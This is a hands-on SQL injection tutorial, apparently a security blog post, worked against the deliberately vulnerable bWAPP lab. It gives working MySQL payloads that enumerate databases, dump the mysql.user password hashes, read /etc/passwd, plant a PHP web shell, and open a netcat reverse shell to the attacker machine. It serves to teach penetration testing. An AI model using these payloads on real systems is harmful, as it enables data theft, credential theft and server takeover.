SQL Injection, my old and good friend… It has been a while since I last talked about it. And those times it opened many doors to me while performing penetration tests. When we start HackerSpot, all the team members agreed to share new articles and provide a new perspective on the major security problems. And we do. However, I think it might be better to give a start with a basic web attack. And what I have experienced recently was also a factor that pushes me to write this article. I cannot believe that I am still able to detect SQL injections in enterprise applications.
So, SQL injection is the most famous and oldest web application attack. It is like a nightmare for data-driven applications. And thanks to Web 2.0, users can interact with the web applications in many ways. And applications can use user-supplied data to perform any task on the backend such as selecting, deleting, updating and so on.
In Figure 1, you see basic architecture of a data-driven web application. When a client requests data from a web server, the web server queries a database server for this piece of data. Then result is sent back to the client.
At backend, developers mostly use a special software called Database Management System (DBMS) such as MySQL server, SQL Server, Oracle, Postgres, and other systems. These systems can query databases by using a language called SQL (Structured Query Language). Although SQL has a standard by ANSI, vendors expand the language and add some new functions. So, each database management system has its own syntax and funtions. And that way, they can store, manipulate and retrieve data in databases.
And you are going to craft data sent in the request with SQL commands intentionally. So that you may be able to read data from the database in an unauthorized way. I have no intention of telling you the subtleties of SQL. But I think that you are not going to have difficulties to move on.
In a nutshell, SQL injection arises when the hacker injects SQL commands into data sent to server. And then if there is no sanitization, escaping or any other security measure, the injected data can run on database server. So, the result of this execution will be sent back. And at last, the web server will process the query result, prepare the response and send it to the client. That’s how a basic SQL injection works.
By performing this attack, one can easily read and manipulate sensitive information stored in the database. And here not just the data is on fire, but also the whole system is in danger. Because database servers even allow to issue operating system commands which can enable you gaining access to the system.
There is a bunch of DBMS systems out there. And each support for the standard SQL commands as well as their own ones. So, when you try for an SQL Injection, you should concern about this fact. Because some commands may change depend on the system used on the target.
Types and Techniques
Anyway, disregarding the server software, we can divide SQL injections into 3 types based on the extraction of data.
- Inband is the most common injection type, in which you can retrieve and display data using same communication channel. Generally, Union, Boolean and Error-based techniques are used in this type.
- Blind is opposite to the inband injections. There is no actual data transfer. so it is not possible to actual data. Instead you have to send particular payloads and observe the responses to reconstruct almost whole database structure from the beginning.
- Out-of-Band is the least common type which uses a different channel to retrieve and display data. It can exploit some database features such as emailing, making DNS requests or sending HTTP requests.
And there are also 5 techniques to exploit SQL injections.
- Union Technique uses “union” operator to add more “select” statements to the actual query. So that it combines the result of at least two “select” statements as part of the HTTP response.
- Boolean Technique uses boolean conditions to verify whether the result of a query is true or false. Depending on the change in the HTTP response, you have to determine the structure of the database character by character.
- Error-Based Technique uses thrown database error messages to enumerate the structure of database.
- Time-Delay Techniques forces database to delay the results based on conditional queries.
- The Out-of-Band Technique is used to retrieve data using a different channel.
Where to Practice?
You have the foundation of SQLi now. So the next thing is: finding a place to practice your skills. There are many options for this purpose. But I am going to use bWAPP, an extremely vulnerable web application. It is a free and open-source deliberately insecure web application. It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities. It is a PHP-based application and it uses the MySQL database at the backend. You can host it on Linux/Windows with Apache/IIS and MySQL. Also, it will be very easy to deploy it if you use WAMP or XAMPP. For the ones who hesitate to install it from the ground, they can download the bWAPP Virtual Machine (Beebox) and deploy it in VMware Workstation Pro or VMware Workstation Player. And I am going to use Beebox.
bWAPP is used for educational purposes and it is vulnerable. So don’t host it on production systems. I leave the installation for you. But feel free to reach me if you need help. So let’s dive in actual hacking and explore SQL injection in details.
Inband SQL Injection over a Search Form
After you set up everything, log in to bWAPP. Then from the above dropdownlist menu, choose “SQL Injection (POST/Search)” item. Figure-2 shows the vulnerable input point. It brings the names of Marvel movies that matches your search phrase.
A web application can use any piece of data that comes from the client. That does not only mean user inputs, but also the data which sent by web browser in the background. Below, you see HTTP request for the search action.
POST /bWAPP/sqli_6.php HTTP/1.1 Host: 192.168.133.129 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate Referer: http://192.168.133.129/bWAPP/sqli_6.php Content-Type: application/x-www-form-urlencoded Content-Length: 27 Cookie: security_level=0; PHPSESSID=b93b74b9c6a7276fcd371d1fff59e440 Connection: close Upgrade-Insecure-Requests: 1 title=amazing&action=search
All the HTTP headers and parameters in the message body are probable SQL injection points. In this example, you are going to use “title” parameter. So, when you provide valid and secure data, there is no problem. But what if you inject SQL commands instead of entering “amazing”. This is the problem that web applications are faced. Because they can easily confuse of actual valid data and commands. What I mean, instead of a search phrase, enter a single quote (‘) and see what will happen as in Figure-3.
Don’t wory and be happy! This is such a great thing which means that you probably detect a SQL injection vulnerability. However, at this point I want to put a breakpoint and have a look to the background. Before going further, it is a good habit to view codefile for the page to understand the vulnerability better. And you have this opportunity now. So open sqli_6.php in your favourite editor.
You will see a function called “sqli” at the beginning of the file. This function checks data passed from the user based on the security levels. And yes, bWAPP has 3 security levels: low, medium and high. The default level is low and I won’t change it except in some scenarios.
Then rest of the code performs the search operation. If the resultset is not empty, the records are appended to the page. Otherwise “No movies were found” message is printed.
And below code snippet will query the database based on your input. You should focus here. Because SQL injection comes to life there.
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
if you don’t change the level, sqli function won’t check for any suspicious characters in the data provided by you. So what you enter will be passed to above query as it is. So when you enter “amazing” in the input field, the query will look like that. Because everything is as expected, it will be executed there. Then the result will appear on the page.
SELECT * FROM movies WHERE title LIKE '%amazing%'
Until this point everything happens quite normally and this is an expected result in
a normal use-case. So it is time to return the breakpoint. If there is no
proper input validation, you can simply verify SQL injection by entering a
single quote (‘). So the following SQL statement will be generated.
SELECT * FROM movies WHERE title LIKE '%'%'
The output of this query will result in a MySQL error which is also displayed in Figure-3. MySQL server informs you that there is a syntax error. Thankfully, you can benefit from this kind of behaviours of the database servers. And do not forget that these errors can change due to the DBMS used at the backend.
What happened here is that you can break the SQL syntax by simply injecting a single quote. And after this point, you should smartly move and enter something which will not break the statement and queries the database as you wish. So why don’t you try putting an # after the single quote. The # symbol will make rest of the statement after itself as a comment line. So that %’ will not cause any errors. Then the query will execute perfectly and all the records will appear on the page.
SELECT * FROM movies WHERE title LIKE '%'#%'
Basically this is how you inject some codes instead of regular data. And now, you can construct new payloads to get information from database server. After you discover SQL injection, it is better to follow the below way for almost every SQL injection types.
- Find number of the columns called in the query
- Discover columns appear on the page
- Discover database server version
- Discover current database user
- Discover current database in use
- List databases on the server
- Choose a target database
- Pull table information for that database
- Choose a target table
- Pull column information for that table
- Pull data in columns
- Do some cool things (Read sensitive files, open web/system shells…)
Find number of the columns called in the query:
So the first thing is to guess number of the columns that called in the query. So you should use “order by” clause. Though you can add a column name after it, you are also allowed to add a number that defines the column order in the query. Then it will make the query sort the result based on your choice. So you should guess the right number by trying different numbers as following.
SELECT * FROM movies WHERE title LIKE '%' order by 7#%'
SELECT * FROM movies WHERE title LIKE '%' order by 8#%'
Let’s say; you write “order by 7“, it will sort the output according to 7th column in the resultset. If there is a 7th column, then it will sort. Otherwise you will get an error as in Figure-4.
Discover columns appear on the page:
As you discover, the number of columns are 7. Next thing is: finding which columns appear on the page. You can use the “union” clauses for this purpose. “union” caluses can help you to add your own “select” statement to the original query. So the payload will reside in HTTP request like that.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,2,3,4,5,6,7#&action=search
Then below SQL statement will be run on database server.
SELECT * FROM movies WHERE title LIKE '%' union select 1,2,3,4,5,6,7#%' 2,3,4,5
And you can see the result in Figure-5. The second, third, fourth and fifth columns will be displayed on the page. That means you have to use these columns to pull data.
Discover database server version, current database and user:
So the following payload will display the database version, current user and database name. The syntax and commands can differ from system to system. And sometimes, they are not even same for different versions of a same database management software. That’s why discovering the database server version is important. So you need to use MySQL specific syntax. And with following payload you can detect database version as well as current database and user. So in this examle, you don’t have to perform distinct queries to get these information.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,version(),database(),user(),5,6,7#&action=search
List databases on the server:
When the current database is enough to move on with for you, then use it to go further. But if you are also curious about other databases on the server, then you can query for that with the below payload. It will list databases on the server as well as their character set and collation name configuration.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,schema_name,default_character_set_name,default_collation_name,5,6,7 from information_schema.schemata#&action=search
Choose a target database and Pull table information:
And now, you have the database names on the server. Then I assume you choose “bWAPP” as the target. So the next thing is to disvocer table names of the “bWAPP” with the following payload.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,table_schema,table_name,table_rows,5,6,7 from information_schema.tables where table_schema='bWAPP'#&action=search
Choose a target table and Pull column information:
Now, you can get columns of a specific table. So all you need is to choose a table which will be “movies” in the example as showed in following payload.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,table_schema,table_name,column_name,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='movies'#&action=search
Pull data in columns:
And now it is time to get data from the “movies” table. You can either choose some specific columns, or you can try to grab data from all columns. So you can economically group columns to get all data in the “movies” table with the below payload.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,concat_ws(0x3a,id,title),concat_ws(0x3a,release_year,genre,main_character),concat_ws(0x3a,imdb,tickets_stock),5,6,7 from bWAPP.movies#&action=search
Until now, you follow the way that outlined above and you get database name, table name and finally the actual data. This is not the end for an exploitable SQL injection vulnerability. So you can go deeper such as reading sensitive files, creating backdoors or simply reading data from other tables and databases.
Extracting MySQL users and passwords:
Ok, now you can apply the same logic to grab MySQL server users with the following payload. If you are successful getting password hashes for users, then you need to crack hashes to infiltrate other services.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,host,user,password,5,6,7 from mysql.user#&action=search
Viewing critical system files:
Another useful command is “load_file”. It helps to load the content of a file from the file system. So by using the following payload, you can read the content of “passwd” file.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,load_file('/etc/passwd'),3,4,5,6,7#&action=search
Getting a web shell:
Sometimes database administrators need to perform operating-system-level actions. Because of this, database management software has some features that enable administrators to run such commands. Thankfully, SQL injection can provide performing operating system level operations under poorly configured systems. So from a simple injection, you can get a system shell. In MySQL server, you can use “into outfile” command to write anything to a file on the file system. But you have to have write-permission to create the file in the path you want. For example, the following payload can create a shell in path, “/var/www/bWAPP/shell.php“. But the path is not writable for the current user who triggers the SQL injection. So you need to find a writable path that can fit your aim. Therfore, the second payload below can do this task.
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,'<?php system($_REQUEST["cmd"]); ?>',3,4,5,6,7 into OUTFILE '/var/www/bWAPP/shell.php'#&action=search
POST /bWAPP/sqli_6.php HTTP/1.1 … title=' union select 1,'<?php system($_REQUEST["cmd"]); ?>',3,4,5,6,7 into OUTFILE '/var/www/bWAPP/documents/shell.php'#&action=search
You just add some simple PHP code to the file “/var/www/bWAPP/documents/shell.php“. So by calling this page from the web browser, it will enable you to run some operating system commands. Because Beebox is a Linux system, you need to run Linux commands as follows.
http://192.168.133.129/bWAPP/documents/shell.php?cmd=id http://192.168.133.129/bWAPP/documents/shell.php?cmd=whoami http://192.168.133.129/bWAPP/documents/shell.php?cmd=which nc
Turning web shell into a system shell:
As you see, the last command is “which nc“. I do this intentionally, because there is only one last mission. And it is: turning the web shell into a OS level shell. So you can use netcat as below to open a reverse shell.
/bin/nc -e /bin/sh 192.168.133.128 4443
“192.168.133.128” is the IP address of your attacking machine which is Kali Linux in my case. And the “4443” is the port number on attacking machine to listen for incoming connection from the target. So the payload will look like that.
http://192.168.133.129/bWAPP/documents/shell.php?cmd=/bin/nc -e /bin/sh 192.168.133.128 4443
But before running the above payload, you should first open netcat from your terminal and listen for incoming shell by below command.
nc -nlvp 4443
And I think we can stop here. That’s enough to recap SQL injection. And in the next few other articles, we can explore other types and techniques as well. Finally, I hope you enjoy it.